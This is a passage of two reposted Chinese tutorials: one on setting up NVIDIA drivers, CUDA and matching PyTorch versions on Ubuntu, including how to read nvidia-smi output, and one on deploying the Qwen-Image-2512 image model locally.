    driver   : nvidia-driver-570-server - distro non-free
    driver   : xserver-xorg-video-nouveau - distro free builtin
    

    可以看到目前推荐的驱动版本是 580。那么执行 sudo apt install nvidia-driver-580 -y 即可安装。

注意,驱动程序和 CUDA 版本的关系很简单:显卡驱动的版本必须大于等于 CUDA Toolkit 所要求的最低版本。

nvidia-smi

看懂 nvidia-smi

安装完驱动以后,执行 nvidia-smi 来检查一下驱动是否已经正确安装:

(base) root@ubuntu:~# nvidia-smi
Wed Jan 14 02:22:46 2026       
+-----------------------------------------------------------------------------------------+
| NVIDIA-SMI 580.95.05              Driver Version: 580.95.05      CUDA Version: 13.0     |
+-----------------------------------------+------------------------+----------------------+
| GPU  Name                 Persistence-M | Bus-Id          Disp.A | Volatile Uncorr. ECC |
| Fan  Temp   Perf          Pwr:Usage/Cap |           Memory-Usage | GPU-Util  Compute M. |
|                                         |                        |               MIG M. |
|=========================================+========================+======================|
|   0  NVIDIA GeForce RTX 4090        On  |   00000000:81:00.0 Off |                  Off |
| 67%   25C    P8             20W /  300W |       1MiB /  49140MiB |      0%      Default |
|                                         |                        |                  N/A |
+-----------------------------------------+------------------------+----------------------+
|   1  NVIDIA GeForce RTX 4090        On  |   00000000:82:00.0 Off |                  Off |
| 30%   25C    P8             22W /  300W |       1MiB /  49140MiB |      0%      Default |
|                                         |                        |                  N/A |
+-----------------------------------------+------------------------+----------------------+
|   2  NVIDIA GeForce RTX 4090        On  |   00000000:C1:00.0 Off |                  Off |
| 30%   28C    P8             25W /  300W |       1MiB /  49140MiB |      0%      Default |
|                                         |                        |                  N/A |
+-----------------------------------------+------------------------+----------------------+
|   3  NVIDIA GeForce RTX 4090        On  |   00000000:C2:00.0 Off |                  Off |
| 30%   27C    P8             17W /  300W |       1MiB /  49140MiB |      0%      Default |
|                                         |                        |                  N/A |
+-----------------------------------------+------------------------+----------------------+

+-----------------------------------------------------------------------------------------+
| Processes:                                                                              |
|  GPU   GI   CI              PID   Type   Process name                        GPU Memory |
|        ID   ID                                                               Usage      |
|=========================================================================================|
|  No running processes found                                                             |
+-----------------------------------------------------------------------------------------+

先从回显的第一行看起。这里可以看到我们安装了 580.95.05 版本的驱动。那么这个 CUDA Version 是怎么回事呢?

即使没装过 CUDA ToolKit,这里其实也会显示一个版本号的。这是因为驱动程序里有一个动态链接库 libcuda.so,它决定了当前版本的驱动能够支持的最高 CUDA 版本。

然后看一下每列的内容:

  • GPU / Fan:显卡序号(从 0 开始)、显卡风扇转速(以百分比计)
  • Name / Temp:显卡名、当前核心温度
  • Perf:性能状态(Performance State),P8 = 休眠模式;P2 = 高性能模式;P0 = 最大性能模式(一般 CUDA 计算都是在 P2 上)
  • Persistence-M / Pwr:持久化模式状态、功耗监控。持久化会在下面讲到。功耗监控列的格式为:当前功耗 / 最大功率(可以自己调整)
  • Bus ID:PCI 总线地址。这里可以和 lspci | grep -i vga 的回显对应上
  • Disp.A:Display Activate,显示输出激活状态。由于这些卡都没有连接显示器,所以目前都是 Off
  • Memory Usage:显存占用。喜闻乐见的核心指标,格式为:当前使用显存 / 总显存
  • GPU Util:GPU 核心使用率
  • Volatile Uncorr. ECC:ECC 开启状态。我没开,开了少 3G 显存,太致命了
  • Compute M.:计算模式(Compute Mode),分为 Default(默认)、Exclusive_Process(独占进程)、Prohibited(禁止计算)
  • MIG M.:多实例 GPU 模式(Multi Instance GPU Mode),高贵的数据中心卡才有,可以在硬件层面上把 GPU 切分

最后一行表格是当前活动进程。在这里可以看到使用了 GPU 的进程状态。

持久化

在 Windows 上,系统启动时内核模式驱动就会被加载并一直保持加载状态,天生就带着持久化的特性,所以通常情况下不用管。但在 Linux 中(尤其是无头机),因为没有客户端一直维护 GPU 句柄,所以每次目标 GPU 上有程序启动和停止时,内核模式驱动都会初始化和取消初始化目标 GPU。这无疑是一种资源上的浪费。最要命的是,在实践中,这个现象还会经常导致莫名其妙的 bug。你都准备跑 AI 计算了,还缺那点电费吗?持久化走起!如无意外,每个 Linux 用户都应该开启持久化功能:

nvidia-smi -pm 1

检查 GPU 拓扑

当你连接了 NVLink 后,可以使用如下命令来查看 NVLink 连接状态:

(base) root@gpu-a6000:~# nvidia-smi topo -m

        GPU0    GPU1    GPU2    GPU3    CPU Affinity    NUMA Affinity   GPU NUMA ID
GPU0     X      NV4     SYS     SYS     48-63,112-127   3               N/A
GPU1    NV4      X      SYS     SYS     32-47,96-111    2               N/A
GPU2    SYS     SYS      X      NV4     16-31,80-95     1               N/A
GPU3    SYS     SYS     NV4      X      0-15,64-79      0               N/A

Legend:

  X    = Self
  SYS  = Connection traversing PCIe as well as the SMP interconnect between NUMA nodes (e.g., QPI/UPI)
  NODE = Connection traversing PCIe as well as the interconnect between PCIe Host Bridges within a NUMA node
  PHB  = Connection traversing PCIe as well as a PCIe Host Bridge (typically the CPU)
  PXB  = Connection traversing multiple PCIe bridges (without traversing the PCIe Host Bridge)
  PIX  = Connection traversing at most a single PCIe bridge
NV#= Connection traversing a bonded set of # NVLinks 

如上表格所示:这个系统里有 4 张卡,NVLink 两两一组,GPU0/1 一对,GPU2/3 一对。从 0/1 到 2/3 就要走 CPU PCIE 了。

至于 CPU/NUMA 亲和性在此处不再展开讲述,如果你使用多路 Xeon 或 AMD Epyc 则可能需要注意一下调节 NPS 以优化 NCCL 性能。

CUDA

如果你是一个拥有很大固态和很快网络的 Docker 战神,那我的建议是不要在宿主机里装任何 CUDA,一切交给 Docker。

一般地,建议使用:nvidia/cuda - Docker Image

但是,如果你需要编译一些源码或者坚持古法环境配置,那么就需要在官网下载.run 文件去安装 CUDA 了。有几点需要注意:

  • 对于新安装的系统来说,安装 CUDA 前尽可能地补全环境,避免安装失败。CUDA 最好一口气装好,不然清理环境非常头疼:

    sudo apt-get install zlib1g -y
    sudo add-apt-repository ppa:ubuntu-toolchain-r/test
    sudo apt update
    sudo apt install gcc-11 g++-11 -y
    sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-11 60 --slave /usr/bin/g++ g++ /usr/bin/g++-11
    sudo apt-get install build-essential libgomp1 -y
    
  • 非常重要:安装时记得取消掉驱动安装。CUDA 工具包里会带一个驱动,不要用!如果你已经装好驱动了,再把这玩意带上,装完了必炸

  • 安装结束后,记得检查环境变量(以 CUDA 12.6 为例):

    vi ~/.bashrc
    尾部追加:
    export PATH=/usr/local/cuda-12.6/bin:$PATH
    export LD_LIBRARY_PATH=/usr/local/cuda-12.6/lib64:/usr/local/cuda-12.6/extras/CUPTI/lib64:/usr/local/cuda-12.6/targets/x86_64-linux/lib:/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
    export CUDA_HOME=/usr/local/cuda-12.6
    执行:
    source ~/.bashrc 
    

执行命令以检查 CUDA 环境是否都已正确配置:

(base) root@ubuntu:~# nvcc --version
nvcc: NVIDIA (R) Cuda compiler driver
Copyright (c) 2005-2024 NVIDIA Corporation
Built on Tue_Oct_29_23:50:19_PDT_2024
Cuda compilation tools, release 12.6, V12.6.85
Build cuda_12.6.r12.6/compiler.35059454_0

Pytorch

安装 Pytorch 有许多讲究。首先,你应该使用 uvconda 创建一个靠谱的虚拟环境,任何操作都需要在虚拟环境里执行。

访问:https://pytorch.org/get-started/locally/,查看当前 Stable 版本的 Pytorch 安装命令。

Pytorch 依赖许多特定环境:如 CUDA 版本、Python 版本、C++ 版本等,所以通常官网会列出 3 个主力 CUDA 版本对应的 Pytorch 安装命令。那么,假如你在使用特定版本的 CUDA 或需要安装特定版本的 Pytorch,如何确定有可用的 whl 呢?

检查可用 whl

Pytorch 官方构建:

https://download.pytorch.org/whl/cuXXX/torch

XXX 代表 CUDA 版本,以三位数表示。比如 CUDA 11.8 就是 cu118,CUDA 12.6 就是 cu126

截至本文动笔的时间,Pytorch Stable 版本是 2.9.1,官网默认列出的版本是 CUDA 12.6 / 12.8 / 13.0。假如我创建了一个 Python 3.11 的环境并且宿主机的 CUDA 版本为 12.4,应该如何确定 whl 是否存在(可以直接安装)呢?

按照以上信息,我们访问:

https://download.pytorch.org/whl/cu124/torch/

很遗憾!我们看到了,最新的也就只有 2.6 版本:

torch-2.6.0+cu124-cp310-cp310-linux_x86_64.whl
torch-2.6.0+cu124-cp310-cp310-win_amd64.whl
torch-2.6.0+cu124-cp311-cp311-linux_x86_64.whl
torch-2.6.0+cu124-cp311-cp311-win_amd64.whl
torch-2.6.0+cu124-cp312-cp312-linux_x86_64.whl
torch-2.6.0+cu124-cp312-cp312-win_amd64.whl
torch-2.6.0+cu124-cp313-cp313-linux_x86_64.whl
torch-2.6.0+cu124-cp313-cp313-win_amd64.whl
torch-2.6.0+cu124-cp313-cp313t-linux_x86_64.whl
torch-2.6.0+cu124-cp39-cp39-linux_x86_64.whl
torch-2.6.0+cu124-cp39-cp39-win_amd64.whl

正式版的版本太老,看看 nightly 会不会好些,访问:

https://download.pytorch.org/whl/nightly/cu124/torch/

好多了,有 2.7 版本的每夜构建。如果你只是一个小白用户,那在坚守 CUDA 12.4 的情况下也就只有 Pytorch 2.7 可用了:

torch-2.7.0.dev20250310+cu124-cp310-cp310-manylinux_2_28_x86_64.whl
torch-2.7.0.dev20250310+cu124-cp310-cp310-win_amd64.whl
torch-2.7.0.dev20250310+cu124-cp311-cp311-manylinux_2_28_x86_64.whl
torch-2.7.0.dev20250310+cu124-cp311-cp311-win_amd64.whl
torch-2.7.0.dev20250310+cu124-cp312-cp312-manylinux_2_28_x86_64.whl
torch-2.7.0.dev20250310+cu124-cp312-cp312-win_amd64.whl
torch-2.7.0.dev20250310+cu124-cp313-cp313-manylinux_2_28_x86_64.whl
torch-2.7.0.dev20250310+cu124-cp313-cp313-win_amd64.whl
torch-2.7.0.dev20250310+cu124-cp313-cp313t-manylinux_2_28_x86_64.whl
torch-2.7.0.dev20250310+cu124-cp313-cp313t-win_amd64.whl
torch-2.7.0.dev20250310+cu124-cp39-cp39-manylinux_2_28_x86_64.whl
torch-2.7.0.dev20250310+cu124-cp39-cp39-win_amd64.whl

指定镜像及安装特定版本

现在我们确定了最新的 whl 了,但显然直接从官方源下载太慢。比如,我是 CUDA 12.6 用户,虚拟环境里用的 Python 3.11,想要安装 Pytorch 2.9.1(当前的 stable),官方给出的命令是:

pip3 install torch torchvision --index-url https://download.pytorch.org/whl/cu126

这里推荐使用南京大学的镜像,更新比较及时:

pip3 install torch torchvision --index-url https://mirrors.nju.edu.cn/pytorch/whl/cu126

实际上,这等价于安装了如下 whl(以 torch 包举例):

torch-2.9.1+cu126-cp311-cp311-manylinux_2_28_x86_64.whl

可以看到 whl 的命名规则:包版本+CUDA版本-Python版本-对应系统_系统架构

那么,假如我想要安装 Pytorch 2.8.0 呢?那么就应该注意一下版本对应关系。torchtorchaudio 的版本号是直接对应的,而 torchvision 则可能需要查一下。

当 Pytorch 2.1.0 时,包版本如下:

  • torch==2.1.0
  • torchaudio==2.1.0
  • torchvideo==0.16.0
  • torchtext==0.16.0

从 Pytorch 2.4.0 开始,没有 torchtext 包了。包版本如下:

  • torch==2.4.0
  • torchaudio==2.4.0
  • torchvideo==0.19.0

可以看到,它们都是递增关系。那么很容易推出来 Pytorch 2.8.0 需要的安装命令:

pip3 install torch==2.8.0 torchvision==0.23.0 torchaudio==2.8.0 --index-url https://mirrors.nju.edu.cn/pytorch/whl/cu126

注:Pytorch 2.9.0 的 Conv3d 有问题,如果你部署 / 微调 Qwen3VL 的时候发现明显的性能降级,则应将版本回退到 2.8 或升级至 2.9.1(最好是退到 2.8)


📌 转载信息
原作者:
flymyd
转载时间:
2026/1/14 18:25:02

告别 “AI 脸” 与乱码!阿里 Qwen-Image-2512 本地部署全攻略

阿里于 2025 年末发布的 Qwen-Image-2512 彻底解决了国产模型在文字渲染和写实感上的痛点。想要在本地流畅运行这款 “国产之光”?跟随这份攻略,三分钟完成部署!


第一步:环境准备

为了保证模型运行稳定,建议使用 Python 3.10CUDA 12.4 环境。

# 1. 创建并激活虚拟环境
conda create -n qwenimage python=3.10 -y
conda activate qwenimage

# 2. 初始化项目目录 mkdir qwenimage && cd qwenimage


第二步:安装核心依赖

这里我们优先安装适配 CUDA 12.4 的 PyTorch 2.6.0,确保 GPU 加速效率最大化。

# 安装 PyTorch 生态
pip install torch==2.6.0+cu124 torchvision==0.21.0+cu124 torchaudio==2.6.0 --index-url https://download.pytorch.org/whl/cu124

# 安装最新版 Diffusers 及相关库
pip install git+https://github.com/huggingface/diffusers
pip install transformers gradio accelerate


第三步:高效下载模型

根据你的网络环境,选择最合适的下载方式:

选项 A:网络环境畅通(HuggingFace)

huggingface-cli download Qwen/Qwen-Image-2512 --local-dir checkpoints/Qwen-Image-2512

选项 B:国内加速(ModelScope 推荐)

如果访问海外服务器较慢,请使用阿里官方的魔搭社区:

pip install modelscope
modelscope download --model Qwen/Qwen-Image-2512 --local_dir checkpoints/Qwen-Image-2512


第四步:启动推理演示

一切就绪后,运行以下命令开启你的本地 AI 创作之旅:

python pages.py

self-module-share/pages.py at main · wlzh/self-module-share · GitHub

部署小贴士 (Tips)

  • 显存建议:建议使用显存 16GB 及以上的 NVIDIA 显卡(如 RTX 3090/4080 及以上)以获得最佳生成速度。
  • 路径检查:请确保 pages.py 中的模型路径指向你刚才下载的 checkpoints/Qwen-Image-2512 文件夹。
  • 镜像加速:如果在安装 pip 包时较慢,可以添加 -i https://pypi.tuna.tsinghua.edu.cn/simple 参数。

Qwen-Image-2512 不仅在构图上更加符合东方审美,更重要的是它能精准识别并生成复杂的中文文本,真正做到了 “所写即所得”。



📌 转载信息
原作者:
maq
转载时间:
2026/1/2 14:28:08